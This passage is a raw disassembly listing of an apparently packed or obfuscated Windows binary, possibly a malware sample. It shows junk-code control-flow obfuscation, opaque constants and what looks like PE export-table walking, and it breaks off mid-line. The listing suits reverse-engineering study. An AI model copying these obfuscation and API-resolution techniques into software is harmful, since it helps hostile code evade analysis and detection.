FUNCTION CHUNK AT 100186A2 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 1001893A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001BA03 SIZE 00000008 BYTES mov esp, ebp pop ebp mov eax, ds:dword_10018614 or eax, eax jnz loc_1001BA03 jmp loc_10017FCA sub_10016451 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10016467: ; CODE XREF: sub_10013389+78C4j test ebx, edx jmp loc_1001B22F ; END OF FUNCTION CHUNK FOR sub_10013389 ; =============== S U B R O U T I N E ======================================= sub_1001646E proc near ; CODE XREF: sub_1001B8D3-42C2p ; an.kk9rg:10019C57j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 10015AB6 SIZE 00000023 BYTES xchg ecx, [esp+4+var_4] pop ecx pop edx mov eax, [esp-4+arg_0] push ecx mov ecx, edx xchg ecx, [esp+0] call sub_100132E5 jmp loc_10015AB6 sub_1001646E endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_135. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_10016487: ; CODE XREF: an.kk9rg:1001ACE1j jmp loc_100162F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015C77 loc_1001648C: ; CODE XREF: sub_10015C77+6853j ror eax, 1Ah adc ecx, edx loc_10016491: ; CODE XREF: sub_10015C77:loc_10018760j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_10018C2F jmp loc_1001B560 ; END OF FUNCTION CHUNK FOR sub_10015C77 ; =============== S U B R O U T I N E ======================================= sub_100164A2 proc near ; DATA XREF: sub_10016167+4308o ; FUNCTION CHUNK AT 10019A50 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CB51 SIZE 00000010 BYTES push ecx push 0BDE4FD3Ah pop ecx and ecx, 99D9B322h jmp loc_1001CB51 sub_100164A2 endp ; --------------------------------------------------------------------------- loc_100164B4: ; DATA XREF: sub_100130C7:loc_1001774Eo mov eax, [ebp-0Ch] movzx eax, byte ptr [eax] add [ebp-8], eax mov eax, [ebp-8] shl eax, 0Ah jmp loc_10019A8B ; --------------------------------------------------------------------------- loc_100164C8: ; CODE XREF: an.kk9rg:100168F7j jno loc_1001AF83 and ecx, 0AE9817AFh ; START OF FUNCTION CHUNK FOR sub_100132E5 loc_100164D4: ; CODE XREF: sub_100132E5+294Dj xor ecx, 0E8C39CEh add ecx, ebp add ecx, 97BAEA30h mov [ecx], eax pop ecx mov eax, [ebp-4] jmp loc_1001DA82 ; END OF FUNCTION CHUNK FOR sub_100132E5 ; =============== S U B R O U T I N E ======================================= sub_100164ED proc near ; DATA XREF: sub_1001CC4A-6DB1o pop ecx sub_100164ED endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_10017CF8 loc_100164EE: ; CODE XREF: sub_10017CF8:loc_1001680Cj jmp loc_1001381E ; END OF FUNCTION CHUNK FOR sub_10017CF8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_100164F3: ; CODE XREF: sub_10013389:loc_10016C09j mov eax, [ebp+8] loc_100164F6: ; CODE XREF: sub_100152C7:loc_1001C7EEj test byte ptr [eax-10h], 38h jnz loc_1001D271 mov eax, [ebp+8] jmp loc_1001569E ; END OF FUNCTION CHUNK FOR sub_10013389 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_99. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10016509: ; CODE XREF: sub_10013389+7BCFj push 0DBDDFE3Ch pop edx xor edx, ds:100000C2h or edx, 0F25961h jnz loc_1001C40E ; END OF FUNCTION CHUNK FOR sub_10013389 ; START OF FUNCTION CHUNK FOR sub_10016167 loc_10016521: ; CODE XREF: an.kk9rg:loc_1001861Dj ; sub_10016167:loc_1001C1FDj mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_100169FA jmp loc_1001AA0A ; END OF FUNCTION CHUNK FOR sub_10016167 ; =============== S U B R O U T I N E ======================================= sub_10016532 proc near ; CODE XREF: sub_1001A76E+6p ; sub_1001C77E+10j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 1001479B SIZE 00000014 BYTES xchg ecx, [esp+0] pop ecx mov eax, [esp-4+arg_0] push edx call sub_10019A95 mov eax, 19CFC62Bh call sub_100181E1 jmp loc_1001479B sub_10016532 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100150A4 loc_1001654E: ; CODE XREF: sub_100150A4+1FA8j pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_100150A4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015D9E loc_10016551: ; CODE XREF: sub_10015D9E+2CFEj jmp loc_1001AC2B ; END OF FUNCTION CHUNK FOR sub_10015D9E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100182D9 loc_10016556: ; CODE XREF: sub_10013359:loc_1001703Bj ; sub_100182D9+13j push offset sub_100150A4 jmp loc_10015BA4 ; END OF FUNCTION CHUNK FOR sub_100182D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_10016560: ; CODE XREF: sub_1001A97E+2B46j add ecx, 8550E4A9h jge loc_10013599 test ebp, esi jmp loc_100178F4 ; END OF FUNCTION CHUNK FOR sub_1001A97E ; =============== S U B R O U T I N E ======================================= sub_10016573 proc near ; CODE XREF: sub_100136D7+2310p ; an.kk9rg:10017349j ; FUNCTION CHUNK AT 1001371F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10016611 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A828 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 1001B735 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi mov [ecx], eax pop ecx lea eax, loc_1001371F jmp loc_1001A828 sub_10016573 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_152. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push eax push 238F7065h pop eax xor eax, 0B0EF718Eh rol eax, 0Bh add eax, 0FF24EA7h jmp loc_1001C466 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C535 loc_100165A1: ; CODE XREF: sub_1001C535:loc_1001517Aj ; sub_1001C535-5B73j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_1001B8DC jmp loc_1001B97D ; END OF FUNCTION CHUNK FOR sub_1001C535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018AB1 loc_100165B2: ; CODE XREF: sub_100145ED:loc_1001424Dj ; sub_10018AB1+432Cj mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_100169FA jmp loc_100138E7 ; END OF FUNCTION CHUNK FOR sub_10018AB1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_100165C3: ; CODE XREF: sub_10013389+E5j jle loc_1001C7B9 loc_100165C9: ; CODE XREF: sub_10016D04:loc_10016357j ; an.kk9rg:loc_1001778Dj ... jmp loc_100186C8 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D04 loc_100165CE: ; CODE XREF: an.kk9rg:100165FBj ; sub_10016D04+2417j pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_10016D04 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A54C loc_100165D1: ; CODE XREF: an.kk9rg:10017976j ; sub_1001A54C:loc_1001C72Cj jmp loc_1001B8EE ; END OF FUNCTION CHUNK FOR sub_1001A54C ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_10014653 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015F31 loc_100165DE: ; CODE XREF: sub_10015F31+1FCj xchg ebx, [eax] shr edx, 17h pushf ; END OF FUNCTION CHUNK FOR sub_10015F31 ; START OF FUNCTION CHUNK FOR sub_10015E0D loc_100165E4: ; CODE XREF: sub_10015F31:loc_10016120j ; sub_10015E0D+1C10j xor edx, 6984F6ECh add edx, 6AEE736Fh jmp loc_10019E04 ; END OF FUNCTION CHUNK FOR sub_10015E0D ; --------------------------------------------------------------------------- loc_100165F5: ; CODE XREF: an.kk9rg:100148B4j ; an.kk9rg:loc_10018415j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_100165CE jmp loc_1001778D ; --------------------------------------------------------------------------- jmp ds:off_1000201C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_1001660C: ; CODE XREF: sub_10015B5D+5081j jmp loc_1001D6EE ; END OF FUNCTION CHUNK FOR sub_10015B5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016573 loc_10016611: ; CODE XREF: sub_10016573+42B8j jmp loc_1001371F ; END OF FUNCTION CHUNK FOR sub_10016573 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014CDF loc_10016616: ; CODE XREF: sub_10014CDF:loc_1001514Fj jmp loc_10015BDC ; END OF FUNCTION CHUNK FOR sub_10014CDF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100143F5 loc_1001661B: ; CODE XREF: sub_10016D66+1A2j ; sub_1001CEDD-5CFBj ... pop edx js loc_100171E7 mov eax, [esp-4+arg_0] push edx call sub_1001D461 mov eax, 6E3A3857h jmp sub_1001B368 ; END OF FUNCTION CHUNK FOR sub_100143F5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018798 loc_10016635: ; CODE XREF: sub_10018798:loc_1001C5B9j or eax, 34136886h xchg ebx, eax jmp loc_1001939E ; END OF FUNCTION CHUNK FOR sub_10018798 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013061 loc_10016642: ; CODE XREF: sub_10013061+459Aj mov edx, [eax] ror ebx, 19h jmp loc_100136EC ; END OF FUNCTION CHUNK FOR sub_10013061 ; =============== S U B R O U T I N E ======================================= sub_1001664C proc near ; CODE XREF: an.kk9rg:1001BB4Cj ; sub_1001CB33+6p ; FUNCTION CHUNK AT 10016F99 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001BAD3 SIZE 0000001B BYTES xchg ecx, [esp+0] pop ecx push ebp mov ebp, esp mov esp, ebp pop ebp mov eax, ds:dword_1001B724 or eax, eax jmp loc_1001BAD3 sub_1001664C endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_132. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D8D9 loc_10016664: ; CODE XREF: sub_1001D8D9+Fj jmp loc_1001C741 ; END OF FUNCTION CHUNK FOR sub_1001D8D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001492C loc_10016669: ; CODE XREF: sub_1001492C+5C63j jmp loc_1001A684 ; END OF FUNCTION CHUNK FOR sub_1001492C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100181E1 loc_1001666E: ; CODE XREF: sub_100181E1-5033j jmp loc_10013128 ; END OF FUNCTION CHUNK FOR sub_100181E1 ; --------------------------------------------------------------------------- loc_10016673: ; CODE XREF: an.kk9rg:100140C3j js loc_10015EF1 loc_10016679: ; CODE XREF: an.kk9rg:loc_100175CAj xor ecx, 93067DD5h add ecx, 7D425CAAh and ecx, 0A5E6F581h add ecx, 9E7B20DCh add ecx, ebp push eax jmp loc_100178DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100150BD loc_10016699: ; CODE XREF: sub_100150BD+17j jnz loc_10016EC9 ; END OF FUNCTION CHUNK FOR sub_100150BD ; START OF FUNCTION CHUNK FOR sub_1001B943 loc_1001669F: ; CODE XREF: sub_1001B943+CAAj jmp loc_10017AF2 ; END OF FUNCTION CHUNK FOR sub_1001B943 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018901 loc_100166A4: ; CODE XREF: sub_10018901:loc_10018910j jmp loc_1001356A ; END OF FUNCTION CHUNK FOR sub_10018901 ; --------------------------------------------------------------------------- sub ecx, ebx push esi jmp loc_10016EC7 ; --------------------------------------------------------------------------- cdq jmp sub_10014A76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D951 loc_100166B7: ; CODE XREF: sub_1001D951+17j sub edi, 0F1AE2342h test edi, 4000000h jmp loc_1001B823 ; END OF FUNCTION CHUNK FOR sub_1001D951 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_100166C8: ; CODE XREF: sub_10019409:loc_1001B06Ej call sub_10019CD1 loc_100166CD: ; CODE XREF: sub_10015BFC+5840j jmp loc_100146E8 ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D951 loc_100166D2: ; CODE XREF: sub_1001D951:loc_1001B823j jnz loc_1001C252 ; END OF FUNCTION CHUNK FOR sub_1001D951 ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_100166D8: ; CODE XREF: sub_1001A97E:loc_1001672Fj jmp loc_100142A8 ; END OF FUNCTION CHUNK FOR sub_1001A97E ; --------------------------------------------------------------------------- or edx, 1F8AC2h and edx, 3DBA0AD6h jmp loc_1001C249 ; --------------------------------------------------------------------------- mov eax, 19CFC62Bh call sub_100181E1 mov ds:off_1000200C, eax push offset sub_100162B7 jmp loc_10014F12 ; --------------------------------------------------------------------------- adc esi, 168A4E57h mov ebx, 688A52FBh jmp sub_100193F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019595 loc_10016718: ; CODE XREF: sub_10019595+3897j jb loc_1001B22F xchg esi, [edi] popf shl esi, 9 jmp loc_1001684C ; END OF FUNCTION CHUNK FOR sub_10019595 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_10016729: ; CODE XREF: sub_1001A97E:loc_10018DBEj cmp eax, 390FB9C6h loc_1001672F: ; CODE XREF: an.kk9rg:100140D0j jmp loc_100166D8 ; END OF FUNCTION CHUNK FOR sub_1001A97E ; =============== S U B R O U T I N E ======================================= sub_10016734 proc near ; CODE XREF: sub_1001406Fj ; DATA XREF: sub_10019A95:loc_10014065o var_4 = dword ptr -4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 10013090 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10013AE5 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 10013B0D SIZE 00000017 BYTES ; FUNCTION CHUNK AT 10014806 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10015D5F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10016003 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017C91 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 10017CA8 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 10018236 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10018318 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 100195C0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B1B2 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001B5C0 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 1001B844 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 1001C1D8 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 1001C4F7 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 1001D143 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001D6CA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D7B9 SIZE 00000005 BYTES pop esi mov eax, [ebp-4] mov al, [eax] js loc_1001B5C0 sub al, 99h jmp loc_1001D7B9 sub_10016734 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001492C loc_10016747: ; CODE XREF: sub_1001492C+371Ej sbb edx, 0F8D4A40Dh pushf jmp loc_10013967 ; --------------------------------------------------------------------------- loc_10016753: ; CODE XREF: sub_1001492C:loc_1001B03Dj sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_10013967 jmp loc_1001DB55 ; END OF FUNCTION CHUNK FOR sub_1001492C ; --------------------------------------------------------------------------- loc_10016767: ; CODE XREF: an.kk9rg:10013097j and edx, ebp ; =============== S U B R O U T I N E ======================================= sub_10016769 proc near ; CODE XREF: sub_1001767A:loc_100155C7p xchg edx, [esp+0] pop edx pop ecx pop ebp retn sub_10016769 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B4CC loc_10016770: ; CODE XREF: sub_1001B4CC+Aj jmp loc_100140DB ; END OF FUNCTION CHUNK FOR sub_1001B4CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_10016775: ; CODE XREF: sub_100193F2+BC7j jmp loc_1001322E ; END OF FUNCTION CHUNK FOR sub_100193F2 ; =============== S U B R O U T I N E ======================================= sub_1001677A proc near ; CODE XREF: sub_10016A39-2FB8p ; sub_100193B1+26AEj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10013957 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017798 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 1001B783 SIZE 00000022 BYTES push edx mov edx, ebp jmp loc_10013957 sub_1001677A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10016782: ; CODE XREF: sub_10013389+FBj ; sub_10016D04:loc_10019216j adc ebx, 75A71367h cdq jmp loc_100142BA ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100188EE loc_1001678E: ; CODE XREF: sub_100188EE+Ej jnz loc_10018FF3 jmp loc_10014413 ; END OF FUNCTION CHUNK FOR sub_100188EE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015066 loc_10016799: ; CODE XREF: sub_10015066+1Bj jo loc_1001A009 ; END OF FUNCTION CHUNK FOR sub_10015066 ; =============== S U B R O U T I N E ======================================= sub_1001679F proc near ; CODE XREF: sub_100193F2-AC8p ; FUNCTION CHUNK AT 10013748 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10013AF2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100140B1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10015840 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 10016378 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017338 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 1001A167 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001C36D SIZE 00000009 BYTES ; FUNCTION CHUNK AT 1001DEC9 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx jnz loc_10017338 jmp loc_10015840 sub_1001679F endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_205. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015860 loc_100167AF: ; CODE XREF: sub_10015860+3j jmp sub_1001A3F4 ; END OF FUNCTION CHUNK FOR sub_10015860 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015D9E loc_100167B4: ; CODE XREF: sub_10015D9E:loc_1001C37Bj or eax, 2D6CDC48h jmp loc_1001526E ; END OF FUNCTION CHUNK FOR sub_10015D9E ; --------------------------------------------------------------------------- push edi push 0D122280h xchg eax, [esp] mov edi, eax pop eax rol edi, 7 jmp loc_100130DF ; --------------------------------------------------------------------------- loc_100167D3: ; CODE XREF: an.kk9rg:loc_1001A764j and ebp, 61CAD2E1h jnb loc_10016D4A xchg ebp, [edi] add ebx, 0AF650308h jmp loc_1001C484 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D392 loc_100167EC: ; CODE XREF: sub_1001D392:loc_10018D10j mov esi, eax xchg esi, [esp+0] ror eax, 0Dh push edx jmp loc_1001963E ; END OF FUNCTION CHUNK FOR sub_1001D392 ; --------------------------------------------------------------------------- or eax, ecx jmp loc_10015B19 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_42. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_10016802 proc near ; CODE XREF: sub_10015964-F9Ap ; sub_10015964-E9Dp push offset sub_100195F3 jmp nullsub_193 sub_10016802 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017CF8 loc_1001680C: ; CODE XREF: sub_10017CF8+32E6j jnb loc_100164EE push 3951DC52h loc_10016817: ; CODE XREF: sub_10017CF8:loc_10013A97j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_10017554 jmp loc_1001CFA1 ; END OF FUNCTION CHUNK FOR sub_10017CF8 ; --------------------------------------------------------------------------- push 43987150h pop edx and edx, 5C52870Bh or edx, 0DE6F5Eh jmp loc_10016F8E ; --------------------------------------------------------------------------- loc_1001683F: ; CODE XREF: an.kk9rg:loc_1001C47Fj xchg ebp, [esp] push offset sub_100150BD jmp locret_1001687C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019595 loc_1001684C: ; CODE XREF: sub_10019595-2E71j ror edi, 0Bh jmp loc_10016FFC ; END OF FUNCTION CHUNK FOR sub_10019595 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_172. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015DB9 loc_10016855: ; CODE XREF: sub_10015DB9-26Cj jmp loc_1001D702 ; END OF FUNCTION CHUNK FOR sub_10015DB9 ; =============== S U B R O U T I N E ======================================= sub_1001685A proc near ; DATA XREF: sub_10016167:loc_1001C260o xor edx, 0B4DC4811h call sub_1001534D push offset sub_10018F13 jmp nullsub_94 sub_1001685A endp ; --------------------------------------------------------------------------- loc_1001686F: ; CODE XREF: an.kk9rg:1001C124j mov esi, ecx test ebx, 3283071h jmp loc_10019F4D ; --------------------------------------------------------------------------- locret_1001687C: ; CODE XREF: an.kk9rg:10016847j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_1001687D: ; CODE XREF: sub_10019409:loc_1001C0B1j xor edx, ds:100000C0h add edx, 92283B4Eh or edx, 0E9E36F2Eh sub edx, 327D1CE0h xor edx, 4C8059D7h call sub_1001A70A loc_100168A0: ; DATA XREF: sub_1001564A+24B4o mov ecx, [ebx+ecx+78h] or ecx, ecx jz loc_1001B6F5 mov ecx, [ebx+ecx+0Ch] or ecx, ecx jz loc_1001B6F5 mov edx, [ebx+ecx] jmp loc_100198D4 ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_100168C0: ; CODE XREF: sub_1001A97E+B94j mov eax, [ecx] popf loc_100168C3: ; CODE XREF: sub_1001A97E:loc_10017FD5j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_1001D689 jmp loc_100149B5 ; END OF FUNCTION CHUNK FOR sub_1001A97E ; --------------------------------------------------------------------------- loc_100168D4: ; CODE XREF: an.kk9rg:100168D9j ; DATA XREF: vyridizn:off_10002014o call sub_100168DF jmp ds:off_10002014 ; =============== S U B R O U T I N E ======================================= sub_100168DF proc near ; CODE XREF: an.kk9rg:loc_100168D4p ; sub_1001B096:loc_100177DAj ... pop edx call sub_1001DD1D sub_100168DF endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_1001492C loc_100168E5: ; CODE XREF: sub_1001492C+5D5Ej jmp loc_10018041 ; END OF FUNCTION CHUNK FOR sub_1001492C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C6B0 loc_100168EA: ; CODE XREF: sub_1001C6B0-314Cj jmp loc_100143EA ; END OF FUNCTION CHUNK FOR sub_1001C6B0 ; --------------------------------------------------------------------------- loc_100168EF: ; CODE XREF: an.kk9rg:10015C4Dj jp sub_1001C77E test ebx, edi jmp loc_100164C8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001BB72 loc_100168FC: ; CODE XREF: sub_1001BB72-4716j sub eax, 98CB2818h and eax, 0FCA9C3FAh sub eax, 2AB693ACh or eax, 349B3038h add eax, 1ACB78D1h jmp loc_1001CE25 ; END OF FUNCTION CHUNK FOR sub_1001BB72 ; =============== S U B R O U T I N E ======================================= sub_1001691F proc near ; CODE XREF: an.kk9rg:loc_100145DEp ; an.kk9rg:1001A22Ej ; FUNCTION CHUNK AT 10016D42 SIZE 00000008 BYTES xchg esi, [esp+0] pop esi sub al, 99h push 0ED512089h pop edx rol edx, 1Fh sub edx, 7D3AA3E2h xor edx, 21B970Ah jmp loc_10016D42 sub_1001691F endp ; sp-analysis failed ; --------------------------------------------------------------------------- jle loc_1001C708 jmp sub_1001564A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016451 loc_1001694A: ; CODE XREF: sub_10016451:loc_1001893Aj or esi, 59C6978h ror ebx, 10h jmp loc_100186A2 ; END OF FUNCTION CHUNK FOR sub_10016451 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016A1B loc_10016958: ; CODE XREF: sub_10016A1B:loc_1001D9CCj jnz loc_100175B4 loc_1001695E: ; CODE XREF: an.kk9rg:10016AD3j jmp loc_100169C7 ; END OF FUNCTION CHUNK FOR sub_10016A1B ; --------------------------------------------------------------------------- xor esi, 2DB424EFh mov [ebp+0], edi and eax, 9D8E79DDh add ebp, eax jmp loc_1001AB87 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001893F loc_10016979: ; CODE XREF: sub_1001893F:loc_10013614j jz loc_10016E52 jmp loc_100156A4 ; END OF FUNCTION CHUNK FOR sub_1001893F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A2CC loc_10016984: ; CODE XREF: sub_1001A2CC:loc_1001360Fj jz loc_100132DD jmp loc_10017DFE ; END OF FUNCTION CHUNK FOR sub_1001A2CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_1001698F: ; CODE XREF: sub_100136D7:loc_100198A0j jz loc_1001372F jmp loc_10014CFE ; END OF FUNCTION CHUNK FOR sub_100136D7 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_128. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015086 loc_1001699B: ; CODE XREF: sub_10015086+6607j jge loc_10017D3C loc_100169A1: ; CODE XREF: sub_100189D7:loc_10014483j ; sub_10013389+1250j ... jmp loc_10017C91 ; END OF FUNCTION CHUNK FOR sub_10015086 ; --------------------------------------------------------------------------- loc_100169A6: ; CODE XREF: sub_100189D7-1794j ; an.kk9rg:1001864Bj xchg eax, [esp] mov ecx, eax jmp loc_1001C7F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015131 loc_100169B0: ; CODE XREF: sub_10015131:loc_100158BCj jz loc_10019E76 jmp loc_100151D0 ; END OF FUNCTION CHUNK FOR sub_10015131 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C535 loc_100169BB: ; CODE XREF: sub_1001C535:loc_1001903Cj xor ebp, edi xchg edx, ebp shr ebx, 10h jmp loc_100165A1 ; END OF FUNCTION CHUNK FOR sub_1001C535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016A1B loc_100169C7: ; CODE XREF: sub_10016A1B:loc_1001695Ej jz loc_10017C15 ; END OF FUNCTION CHUNK FOR sub_10016A1B ; START OF FUNCTION CHUNK FOR sub_1001A54C loc_100169CD: ; CODE XREF: sub_1001A54C-46F4j jmp nullsub_154 ; END OF FUNCTION CHUNK FOR sub_1001A54C ; --------------------------------------------------------------------------- pushf jl loc_1001537F xor ebp, 211F85DEh jmp loc_10017C0D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016323 loc_100169E4: ; CODE XREF: sub_10016323:loc_10013662j sbb ebp, 5416B3E2h jmp loc_10019210 ; END OF FUNCTION CHUNK FOR sub_10016323 ; --------------------------------------------------------------------------- pop ebp jmp sub_1001A51D ; --------------------------------------------------------------------------- loc_100169F5: ; DATA XREF: sub_10016167:loc_10015F16o jmp loc_10018CAA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016167 loc_100169FA: ; CODE XREF: sub_10016167+3C0j ; sub_10018AB1-24F9j call sub_10019B0D loc_100169FF: ; CODE XREF: sub_10013BB8+8C31j jmp loc_1001C9E4 ; END OF FUNCTION CHUNK FOR sub_10016167 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_10016A04: ; CODE XREF: sub_10016D66-1765j xor esi, 4488B272h jmp loc_1001A03F ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015E3A loc_10016A0F: ; CODE XREF: sub_10015E3A+8j sub al, 99h call sub_100137D6 loc_10016A16: ; CODE XREF: an.kk9rg:1001A29Dj jmp loc_10014B60 ; END OF FUNCTION CHUNK FOR sub_10015E3A ; =============== S 